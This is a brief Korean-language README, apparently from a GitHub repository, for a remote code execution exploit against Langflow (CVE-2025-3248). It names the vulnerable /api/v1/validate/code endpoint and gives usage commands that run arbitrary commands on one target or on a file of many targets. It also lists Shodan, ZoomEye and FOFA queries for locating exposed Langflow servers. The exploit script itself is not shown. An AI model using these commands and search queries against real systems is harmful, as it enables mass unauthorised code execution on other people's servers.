zapstiko/cve-2025-3248CVE-2025-3248 — Langflow RCE 익스플로잇
CVE-2025-3248에 취약한 Langflow 애플리케이션을 위한 원격 코드 실행(RCE) 익스플로잇입니다.
/api/v1/validate/codepython3 langflow_rce.py -u http://target:7860 -c "id"
python3 langflow_rce.py -i target.txt -c "id"
python3 langflow_rce.py -i target.txt -c "id" -p http://127.0.0.1:8080
Shodan:
http.title:"Langflow" "Langflow allows you to build LLM applications"
title:"Langflow"
ZoomEye:
title:"Langflow" && body:"Langflow allows you to build LLM applications"
app:"Langflow"
FOFA:
title="Langflow" && body="Langflow allows you to build LLM applications"
app="Langflow"